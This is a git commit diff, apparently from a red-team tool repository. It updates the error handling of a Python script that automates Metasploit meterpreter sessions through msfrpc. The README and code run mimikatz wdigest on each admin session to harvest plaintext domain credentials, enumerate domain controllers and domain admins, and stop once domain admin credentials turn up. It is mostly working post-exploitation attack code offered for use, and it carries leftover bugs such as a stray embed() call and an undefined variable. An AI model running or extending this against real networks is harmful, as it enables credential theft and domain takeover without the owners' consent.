updated error handling
This commit is contained in:
47
README.md
47
README.md
@@ -19,37 +19,34 @@ cd msfrpc && python2 setup install && cd ..
|
||||
```./async-meterpreter-controller.py```
|
||||
|
||||
#### How to extend
|
||||
By default all the script does is run `sysinfo`, `getuid`, and windows/post/gather/win_privs then prints all the shell info to the console. All session data is being stored in the global NEW_SESS_DATA dictionary. To extend the template and send commands and get output from each meterpreter session you'll want to go to line 470. Here's an example of how you'd run mimikatz on each session. Start coding on line 472:
|
||||
By default all the script does is run `sysinfo`, `getuid`, and windows/post/gather/win_privs then prints all the shell info to the console. All session data is being stored in the global NEW_SESS_DATA dictionary. To extend the template and send commands and get output from each meterpreter session you'll want to go to line 340. Here's an example of how you'd run mimikatz on each session. This code is called on 342 and the function resides at 302:
|
||||
|
||||
```
|
||||
global NEW_SESS_DATA
|
||||
async def run_mimikatz(client, sess_num):
|
||||
global DOMAIN_DATA
|
||||
load_mimi_cmd = 'load mimikatz'
|
||||
load_mimi_end_strs = [b'Success.', b'has already been loaded.']
|
||||
load_mimi_output = await run_session_cmd(client, sess_num, load_mimi_cmd, load_mimi_end_strs)
|
||||
load_mimi_output, err = await run_session_cmd(client, sess_num, load_mimi_cmd, load_mimi_end_strs)
|
||||
if err:
|
||||
return
|
||||
wdigest_cmd = 'wdigest'
|
||||
wdigest_end_str = [b' Password']
|
||||
mimikatz_output = await run_session_cmd(client, sess_num, wdigest_cmd, wdigest_end_str)
|
||||
if type(mimikatz_output) == str:
|
||||
return mimikatz_output
|
||||
mimikatz_output, err = await run_session_cmd(client, sess_num, wdigest_cmd, wdigest_end_str)
|
||||
if err:
|
||||
return
|
||||
else:
|
||||
mimikatz_utf8_out = mimikatz_output.decode('utf8')
|
||||
mimikatz_split = mimikatz_utf8_out.splitlines()
|
||||
mimikatz_split = mimikatz_output.splitlines()
|
||||
for l in mimikatz_split:
|
||||
print_info(l.strip(), sess_num)
|
||||
NEW_SESS_DATA[sess_num][b'mimikatz_output'] = mimikatz_split
|
||||
if l.startswith(b'0;'):
|
||||
line_split = l.split()
|
||||
dom = line_split[2]
|
||||
if dom.lower() == NEW_SESS_DATA[sess_num][b'domain'].lower():
|
||||
user = '{}\{}'.format(dom.decode('utf8'), line_split[3].decode('utf8'))
|
||||
password = line_split[4]
|
||||
if b'wdigest KO' not in password:
|
||||
user_and_pass = '{}:{}'.format(user, password.decode('utf8'))
|
||||
if user_and_pass not in DOMAIN_DATA['creds']:
|
||||
DOMAIN_DATA['creds'].append(user_and_pass)
|
||||
print_good(msg, sess_num)
|
||||
check_for_DA(user_and_pass)
|
||||
```
|
||||
* Line 1: We will be adding data to NEW_SESS_DATA so that all async coroutines can access the same information about the sessions so we have to define it as a global variable.
|
||||
* Line 2: We start by creating the command to load the mimikatz plugin in the session.
|
||||
* Line 3: The script asynchronously waits for the meterpreter output but it's just reading the meterpreter buffer over and over so we give it any number of byte literals to look for that will tell it the command finished. There's also builtin ability to detect timed out commands and various errors.
|
||||
* Line 4: This is where we call the meterpreter command on that session and asynchronously wait for the output.
|
||||
* Line 5: Command to run on the session.
|
||||
* Line 6: The byte literal that will appear in the meterpreter output that tells us the command finished.
|
||||
* Line 7: Asynchronously wait on the output of the 'wdigest' command.
|
||||
* Line 8: run_session_cmd() will only return a string if it errored out. Otherwise it will return bytes, e.g., b'Blah blah'.
|
||||
* Line 9: Here we return the function with the error message if it errored out.
|
||||
* Line 10: If we get a byte literal then we know the command completed successfully.
|
||||
* Line 11: Convert the byte literal to string.
|
||||
* Line 12: Create a list where each item is one line from the output of the 'wdigest' command.
|
||||
* Line 13: For each line of output from 'wdigest'...
|
||||
* Line 14: Print that line of output. We have access to print_info(), print_good(), print_great(), and print_error() which will colorize the output.
|
||||
* Line 15: Add the mimikatz data to the global variable NEW_SESS_DATA so that this data is now accessible should you want to do something with it later even if it's in another session.
|
||||
|
||||
@@ -15,7 +15,7 @@ from netaddr import IPNetwork, AddrFormatError
|
||||
from subprocess import Popen, PIPE, CalledProcessError
|
||||
|
||||
NEW_SESS_DATA = {}
|
||||
DOMAIN_DATA = {'domain':None, 'domain_admins':[], 'domain_controllers':[], 'high_priority_ips':[], 'error':None}
|
||||
DOMAIN_DATA = {'domain':None, 'domain_admins':[], 'domain_controllers':[], 'high_priority_ips':[], 'creds':[]}
|
||||
|
||||
def parse_args():
|
||||
# Create the arguments
|
||||
@@ -53,6 +53,7 @@ def print_great(msg, sess_num):
|
||||
def kill_tasks():
|
||||
print()
|
||||
print_info('Killing tasks then exiting...', None)
|
||||
embed()
|
||||
for task in asyncio.Task.all_tasks():
|
||||
task.cancel()
|
||||
|
||||
@@ -90,58 +91,64 @@ async def get_shell_info(client, sess_num):
|
||||
sysinfo_cmd = 'sysinfo'
|
||||
sysinfo_end_str = [b'Meterpreter : ']
|
||||
|
||||
sysinfo_output = await run_session_cmd(client, sess_num, sysinfo_cmd, sysinfo_end_str)
|
||||
# Catch error
|
||||
if type(sysinfo_output) == str:
|
||||
return sysinfo_output
|
||||
sysinfo_output, err = await run_session_cmd(client, sess_num, sysinfo_cmd, sysinfo_end_str)
|
||||
if err:
|
||||
print_bad('Session appears to be broken', sess_num)
|
||||
return [b'ERROR']
|
||||
|
||||
else:
|
||||
sysinfo_utf8_out = sysinfo_output.decode('utf8')
|
||||
sysinfo_split = sysinfo_utf8_out.splitlines()
|
||||
sysinfo_split = sysinfo_output.splitlines()
|
||||
|
||||
getuid_cmd = 'getuid'
|
||||
getuid_end_str = [b'Server username:']
|
||||
|
||||
getuid_output = await run_session_cmd(client, sess_num, getuid_cmd, getuid_end_str)
|
||||
# Catch error
|
||||
if type(getuid_output) == str:
|
||||
return getuid_output
|
||||
getuid_output, err = await run_session_cmd(client, sess_num, getuid_cmd, getuid_end_str)
|
||||
if err:
|
||||
print_bad('Session appears to be dead', sess_num)
|
||||
return [b'ERROR']
|
||||
else:
|
||||
getuid_utf8_out = getuid_output.decode('utf8')
|
||||
getuid = 'User : '+getuid_utf8_out.split('Server username: ')[-1].strip().strip()
|
||||
getuid = b'User : '+getuid_output.split(b'Server username: ')[-1].strip().strip()
|
||||
|
||||
# We won't get here unless there's no errors
|
||||
shell_info_list = [getuid] + sysinfo_split
|
||||
|
||||
return shell_info_list
|
||||
|
||||
def get_domain(shell_info):
|
||||
for l in shell_info:
|
||||
|
||||
if l == b'ERROR':
|
||||
return l
|
||||
|
||||
l = l.decode('utf8')
|
||||
|
||||
l_split = l.split(':')
|
||||
if 'Domain ' in l_split[0]:
|
||||
if 'WORKGROUP' in l_split[1]:
|
||||
return
|
||||
return b'no domain'
|
||||
else:
|
||||
domain = l_split[-1].strip()
|
||||
return domain
|
||||
return domain.encode()
|
||||
|
||||
def is_domain_joined(user_info, domain):
|
||||
info_split = user_info.split(':')
|
||||
if user_info != b'ERROR':
|
||||
info_split = user_info.split(b':')
|
||||
dom_and_user = info_split[1].strip()
|
||||
dom_and_user_split = dom_and_user.split('\\')
|
||||
dom_and_user_split = dom_and_user.split(b'\\')
|
||||
dom = dom_and_user_split[0]
|
||||
user = dom_and_user_split[1]
|
||||
|
||||
if domain:
|
||||
if domain != b'no domain':
|
||||
if dom.lower() in domain.lower():
|
||||
return True
|
||||
return b'True'
|
||||
|
||||
return False
|
||||
return b'False'
|
||||
|
||||
def print_shell_data(shell_info, admin_shell, local_admin, sess_num_str):
|
||||
print_info('New shell info', None)
|
||||
for l in shell_info:
|
||||
print(' '+l)
|
||||
if l == b'ERROR':
|
||||
pass#####
|
||||
print(' '+l.decode('utf8'))
|
||||
msg = ''' Admin shell : {}
|
||||
Local admin : {}
|
||||
Session number : {}'''.format(
|
||||
@@ -150,78 +157,59 @@ def print_shell_data(shell_info, admin_shell, local_admin, sess_num_str):
|
||||
sess_num_str)
|
||||
print(msg)
|
||||
|
||||
async def check_domain_joined(client, sess_num, shell_info):
|
||||
global NEW_SESS_DATA
|
||||
|
||||
# returns either a string of the domain name or False
|
||||
domain = get_domain(shell_info)
|
||||
if domain:
|
||||
NEW_SESS_DATA[sess_num][b'domain'] = domain.encode()
|
||||
|
||||
domain_joined = is_domain_joined(shell_info[0], domain)
|
||||
if domain_joined == True:
|
||||
NEW_SESS_DATA[sess_num][b'domain_joined'] = b'True'
|
||||
else:
|
||||
NEW_SESS_DATA[sess_num][b'domain_joined'] = b'False'
|
||||
|
||||
async def sess_first_check(client, sess_num):
|
||||
global NEW_SESS_DATA
|
||||
|
||||
if b'first_check' not in NEW_SESS_DATA[sess_num]:
|
||||
sess_num_str = str(sess_num)
|
||||
NEW_SESS_DATA[sess_num][b'first_check'] = b'False'
|
||||
|
||||
print_good('Gathering shell info...', sess_num)
|
||||
|
||||
# Give meterpeter chance to open
|
||||
await asyncio.sleep(2)
|
||||
|
||||
sess_num_str = str(sess_num)
|
||||
NEW_SESS_DATA[sess_num][b'first_check'] = b'False'
|
||||
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
|
||||
NEW_SESS_DATA[sess_num][b'session_number'] = sess_num_str.encode()
|
||||
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
|
||||
|
||||
shell_info = await get_shell_info(client, sess_num)
|
||||
# Catch errors
|
||||
if type(shell_info) == str:
|
||||
NEW_SESS_DATA[sess_num][b'error'] = shell_info.encode()
|
||||
if shell_info == [b'ERROR']:
|
||||
return
|
||||
|
||||
# Check if we're domain joined
|
||||
await check_domain_joined(client, sess_num, shell_info)
|
||||
domain = get_domain(shell_info)
|
||||
NEW_SESS_DATA[sess_num][b'domain'] = domain
|
||||
NEW_SESS_DATA[sess_num][b'domain_joined'] = is_domain_joined(shell_info[0], domain)
|
||||
|
||||
admin_shell, local_admin = await is_admin(client, sess_num)
|
||||
# Catch errors
|
||||
if type(admin_shell) == str:
|
||||
NEW_SESS_DATA[sess_num][b'error'] = admin_shell.encode()
|
||||
return
|
||||
|
||||
NEW_SESS_DATA[sess_num][b'admin_shell'] = admin_shell
|
||||
NEW_SESS_DATA[sess_num][b'local_admin'] = local_admin
|
||||
admin_shell, local_admin = await check_privs(client, sess_num)
|
||||
|
||||
print_shell_data(shell_info, admin_shell, local_admin, sess_num_str)
|
||||
|
||||
# Update DOMAIN_DATA for domain admins and domain controllers
|
||||
await get_domain_data(client, sess_num)
|
||||
|
||||
async def is_admin(client, sess_num):
|
||||
async def check_privs(client, sess_num):
|
||||
global NEW_SESS_DATA
|
||||
|
||||
cmd = 'run post/windows/gather/win_privs'
|
||||
end_str = [b'==================']
|
||||
|
||||
output = await run_session_cmd(client, sess_num, cmd, None)
|
||||
# Catch error
|
||||
if type(output) == str:
|
||||
return (output, None)
|
||||
|
||||
if output:
|
||||
split_out = output.decode('utf8').splitlines()
|
||||
user_info_list = split_out[5].split()
|
||||
admin_shell = user_info_list[0]
|
||||
system = user_info_list[1]
|
||||
local_admin = user_info_list[2]
|
||||
user = user_info_list[5]
|
||||
|
||||
# Byte string
|
||||
return (str(admin_shell).encode(), str(local_admin).encode())
|
||||
output, err = await run_session_cmd(client, sess_num, cmd, end_str)
|
||||
if err:
|
||||
admin_shell = b'ERROR'
|
||||
local_admin = b'ERROR'
|
||||
|
||||
else:
|
||||
return (b'ERROR', b'ERROR')
|
||||
split_out = output.splitlines()
|
||||
user_info_list = split_out[5].split()
|
||||
system = user_info_list[1]
|
||||
user = user_info_list[5]
|
||||
admin_shell = user_info_list[0]
|
||||
local_admin = user_info_list[2]
|
||||
|
||||
NEW_SESS_DATA[sess_num][b'admin_shell'] = admin_shell
|
||||
NEW_SESS_DATA[sess_num][b'local_admin'] = local_admin
|
||||
|
||||
return (admin_shell, local_admin)
|
||||
|
||||
async def get_domain_controllers(client, sess_num):
|
||||
global DOMAIN_DATA
|
||||
@@ -231,12 +219,12 @@ async def get_domain_controllers(client, sess_num):
|
||||
cmd = 'run post/windows/gather/enum_domains'
|
||||
end_str = [b'[+] Domain Controller:']
|
||||
|
||||
output = await run_session_cmd(client, sess_num, cmd, end_str)
|
||||
output, err = await run_session_cmd(client, sess_num, cmd, end_str)
|
||||
# Catch timeout
|
||||
if type(output) == str:
|
||||
NEW_SESS_DATA[sess_num][b'error'] = output
|
||||
if err:
|
||||
return
|
||||
|
||||
else:
|
||||
output = output.decode('utf8')
|
||||
if 'Domain Controller: ' in output:
|
||||
dc = output.split('Domain Controller: ')[-1].strip()
|
||||
@@ -252,10 +240,8 @@ async def get_domain_admins(client, sess_num, ran_once):
|
||||
cmd = 'run post/windows/gather/enum_domain_group_users GROUP="Domain Admins"'
|
||||
end_str = [b'[+] User list']
|
||||
|
||||
output = await run_session_cmd(client, sess_num, cmd, end_str)
|
||||
# Catch timeout
|
||||
if type(output) == str:
|
||||
NEW_SESS_DATA[sess_num][b'error'] = output
|
||||
output, err = await run_session_cmd(client, sess_num, cmd, end_str)
|
||||
if err:
|
||||
return
|
||||
|
||||
output = output.decode('utf8')
|
||||
@@ -305,53 +291,121 @@ def update_session(session, sess_num):
|
||||
# Update session with the new key:value's in NEW_SESS_DATA
|
||||
# This will not change any of the MSF session data, just add new key:value pairs
|
||||
NEW_SESS_DATA[sess_num] = add_session_keys(session)
|
||||
|
||||
else:
|
||||
NEW_SESS_DATA[sess_num] = session
|
||||
|
||||
# Add empty error key to collect future errors
|
||||
if b'error' not in NEW_SESS_DATA[sess_num]:
|
||||
NEW_SESS_DATA[sess_num][b'error'] = []
|
||||
|
||||
async def run_mimikatz(client, sess_num):
|
||||
global DOMAIN_DATA
|
||||
|
||||
load_mimi_cmd = 'load mimikatz'
|
||||
load_mimi_end_strs = [b'Success.', b'has already been loaded.']
|
||||
load_mimi_output, err = await run_session_cmd(client, sess_num, load_mimi_cmd, load_mimi_end_strs)
|
||||
if err:
|
||||
return
|
||||
wdigest_cmd = 'wdigest'
|
||||
wdigest_end_str = [b' Password']
|
||||
mimikatz_output, err = await run_session_cmd(client, sess_num, wdigest_cmd, wdigest_end_str)
|
||||
if err:
|
||||
return
|
||||
else:
|
||||
mimikatz_split = mimikatz_output.splitlines()
|
||||
for l in mimikatz_split:
|
||||
if l.startswith(b'0;'):
|
||||
line_split = l.split()
|
||||
dom = line_split[2]
|
||||
if dom.lower() == NEW_SESS_DATA[sess_num][b'domain'].lower():
|
||||
user = '{}\{}'.format(dom.decode('utf8'), line_split[3].decode('utf8'))
|
||||
password = line_split[4]
|
||||
if b'wdigest KO' not in password:
|
||||
user_and_pass = '{}:{}'.format(user, password.decode('utf8'))
|
||||
if user_and_pass not in DOMAIN_DATA['creds']:
|
||||
DOMAIN_DATA['creds'].append(user_and_pass)
|
||||
print_good(msg, sess_num)
|
||||
check_for_DA(user_and_pass)
|
||||
|
||||
def check_for_DA(user_and_pass):
|
||||
if user_and_pass in DOMAIN_DATA['domain_admins']:
|
||||
print_good('Domain admin found! {}'.format(user_and_pass))
|
||||
kill_tasks()
|
||||
sys.exit()
|
||||
|
||||
async def do_stuff_with_session(client, sess_num):
|
||||
##################
|
||||
# YOUR CODE HERE #
|
||||
##################
|
||||
|
||||
await run_mimikatz(client, sess_num)
|
||||
|
||||
async def attack(client, sess_num):
|
||||
|
||||
# Is admin
|
||||
if NEW_SESS_DATA[sess_num][b'admin_shell'] == b'True':
|
||||
await do_stuff_with_session(client, sess_num)
|
||||
|
||||
async def attack_with_session(client, session, sess_num):
|
||||
''' Attacks with a session '''
|
||||
update_session(session, sess_num)
|
||||
|
||||
# Get and print session info if first time we've checked the session
|
||||
task = await sess_first_check(client, sess_num)
|
||||
if task:
|
||||
await asyncio.wait(task)
|
||||
|
||||
if is_session_broken(sess_num) == False:
|
||||
await attack(client, sess_num)
|
||||
|
||||
def get_output(client, cmd, sess_num):
|
||||
output = client.call('session.meterpreter_read', [str(sess_num)])
|
||||
|
||||
# Everythings fine
|
||||
if b'data' in output:
|
||||
return output[b'data']
|
||||
return (output[b'data'], None)
|
||||
|
||||
# Got an error from the client.call
|
||||
elif b'error_message' in output:
|
||||
decoded_err = output[b'error_message'].decode('utf8')
|
||||
print_bad(error_msg.format(sess_num_str, decoded_err), sess_num)
|
||||
return decoded_err
|
||||
return (None, decoded_err)
|
||||
|
||||
# Some other error catchall
|
||||
else:
|
||||
return cmd
|
||||
return (None, cmd)
|
||||
|
||||
def get_output_errors(output, counter, cmd, sess_num, timeout, sleep_secs):
|
||||
global NEW_SESS_DATA
|
||||
|
||||
script_errors = [b'[-] post failed',
|
||||
b'error in script',
|
||||
b'operation failed',
|
||||
b'unknown command',
|
||||
b'operation timed out',
|
||||
b'unknown session id']
|
||||
err = None
|
||||
|
||||
# Got an error from output
|
||||
if any(x in output.lower() for x in script_errors):
|
||||
print_bad('Command [{}] failed with error: {}'.format(cmd, output.decode('utf8').strip()), sess_num)
|
||||
return cmd, counter
|
||||
err = 'Command [{}] failed with error: {}'.format(cmd, output.decode('utf8').strip())
|
||||
|
||||
# If no terminating string specified just wait til timeout
|
||||
if output == b'':
|
||||
counter += sleep_secs
|
||||
if counter > timeout:
|
||||
print_bad('Command [{}] timed out'.format(cmd), sess_num)
|
||||
return 'timed out', counter
|
||||
err = 'Command [{}] timed out'.format(cmd)
|
||||
|
||||
# No output but we haven't reached timeout yet
|
||||
return output, counter
|
||||
return (output, err, counter)
|
||||
|
||||
async def run_session_cmd(client, sess_num, cmd, end_strs, timeout=30):
|
||||
''' Will only return a str if we failed to run a cmd'''
|
||||
global NEW_SESS_DATA
|
||||
|
||||
err = None
|
||||
output = None
|
||||
error_msg = 'Error in session {}: {}'
|
||||
sess_num_str = str(sess_num)
|
||||
|
||||
@@ -367,7 +421,8 @@ async def run_session_cmd(client, sess_num, cmd, end_strs, timeout=30):
|
||||
if b'error_message' in res:
|
||||
err_msg = res[b'error_message'].decode('utf8')
|
||||
print_bad(error_msg.format(sess_num_str, err_msg), sess_num)
|
||||
return err_msg
|
||||
NEW_SESS_DATA[sess_num][b'error'].append(err_msg)
|
||||
return (None, err_msg)
|
||||
|
||||
elif res[b'result'] == b'success':
|
||||
|
||||
@@ -378,43 +433,49 @@ async def run_session_cmd(client, sess_num, cmd, end_strs, timeout=30):
|
||||
while True:
|
||||
await asyncio.sleep(sleep_secs)
|
||||
|
||||
output = get_output(client, cmd, sess_num)
|
||||
output, err = get_output(client, cmd, sess_num)
|
||||
|
||||
# Error from meterpreter console
|
||||
if type(output) == str:
|
||||
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
|
||||
return output
|
||||
if err:
|
||||
NEW_SESS_DATA[sess_num][b'error'].append(err_msg)
|
||||
print_bad('Meterpreter error: {}'.format(err), sess_num)
|
||||
break
|
||||
|
||||
# Check for errors from cmd's output
|
||||
output, err, counter = get_output_errors(output, counter, cmd, sess_num, timeout, sleep_secs)
|
||||
if err:
|
||||
NEW_SESS_DATA[sess_num][b'error'].append(err)
|
||||
print_bad(err, sess_num)
|
||||
break
|
||||
|
||||
# Successfully completed
|
||||
if end_strs:
|
||||
if any(end_str in output for end_str in end_strs):
|
||||
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
|
||||
return output
|
||||
break
|
||||
|
||||
# If no end_str specified just return once we have any data
|
||||
else:
|
||||
if len(output) > 0:
|
||||
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
|
||||
return output
|
||||
|
||||
# Check for errors from cmd's output
|
||||
output, counter = get_output_errors(output, counter, cmd, sess_num, timeout, sleep_secs)
|
||||
# Error from cmd output including timeout
|
||||
if type(output) == str:
|
||||
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
|
||||
return output
|
||||
break
|
||||
|
||||
# This usually occurs when the session suddenly dies or user quits it
|
||||
except Exception as e:
|
||||
err = 'exception below likely due to abrupt death of session'
|
||||
print_bad(error_msg.format(sess_num_str, err), sess_num)
|
||||
print_bad(' '+str(e), None)
|
||||
NEW_SESS_DATA[sess_num][b'error'].append(err)
|
||||
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
|
||||
return err
|
||||
return (output, err)
|
||||
|
||||
# b'result' not in res, b'error_message' not in res, just catch everything else as an error
|
||||
else:
|
||||
err = res[b'result'].decode('utf8')
|
||||
NEW_SESS_DATA[sess_num][b'error'].append(err)
|
||||
print_bad(res[b'result'].decode('utf8'), sess_num)
|
||||
NEW_SESS_DATA[sess_num][b'busy'] = b'True'
|
||||
return cmd
|
||||
|
||||
NEW_SESS_DATA[sess_num][b'busy'] = b'False'
|
||||
|
||||
return (output, err)
|
||||
|
||||
def get_perm_token(client):
|
||||
# Authenticate and grab a permanent token
|
||||
@@ -431,8 +492,10 @@ def is_session_broken(sess_num):
|
||||
# Session timed out on initial sysinfo cmd
|
||||
if b'domain' not in NEW_SESS_DATA[sess_num]:
|
||||
return True
|
||||
elif b'domain' == b'ERROR':
|
||||
return True
|
||||
# Session abruptly died
|
||||
if NEW_SESS_DATA[sess_num][b'error'] == b'exception below likely due to abrupt death of session':
|
||||
if NEW_SESS_DATA[sess_num][b'error'] == 'exception below likely due to abrupt death of session':
|
||||
return True
|
||||
# Session timed out
|
||||
if 'Rex::TimeoutError' in NEW_SESS_DATA[sess_num][b'error']:
|
||||
@@ -441,7 +504,7 @@ def is_session_broken(sess_num):
|
||||
return False
|
||||
|
||||
def add_session_keys(session, sess_num):
|
||||
for k in NEW_SESS_DATA[s]:
|
||||
for k in NEW_SESS_DATA[sess_num]:
|
||||
if k not in session:
|
||||
session[k] = NEW_SESS_DATA[sess_num].get(k)
|
||||
|
||||
@@ -450,10 +513,9 @@ def add_session_keys(session, sess_num):
|
||||
async def check_for_sessions(client, loop):
|
||||
global NEW_SESS_DATA
|
||||
|
||||
print_info('Waiting for Meterpreter shell', None)
|
||||
print_info('Waiting on new meterpreter session', None)
|
||||
|
||||
while True:
|
||||
|
||||
# Get list of MSF sessions from RPC server
|
||||
sessions = client.call('session.list')
|
||||
|
||||
@@ -465,28 +527,6 @@ async def check_for_sessions(client, loop):
|
||||
|
||||
await asyncio.sleep(1)
|
||||
|
||||
async def do_stuff_with_meterpreter(client, sess_num):
|
||||
''' Do stuff with each session here '''
|
||||
######################################
|
||||
# YOUR CODE HERE #
|
||||
######################################
|
||||
pass
|
||||
|
||||
async def attack_with_session(client, session, sess_num):
|
||||
''' Attacks with a session '''
|
||||
update_session(session, sess_num)
|
||||
|
||||
# Get and print session info if first time we've checked the session
|
||||
#asyncio.ensure_future(sess_first_check(client, sess_num))
|
||||
task = await sess_first_check(client, sess_num)
|
||||
if task:
|
||||
await asyncio.wait(task)
|
||||
|
||||
if is_session_broken(sess_num) == False:
|
||||
print('are we here yet 2')
|
||||
# THIS IS WHERE YOU CAN DO STUFF WITH EACH SESSION
|
||||
await do_stuff_with_meterpreter(client, sess_num)
|
||||
|
||||
def main(args):
|
||||
|
||||
client = msfrpc.Msfrpc({})
|
||||
|
||||
Reference in New Issue
Block a user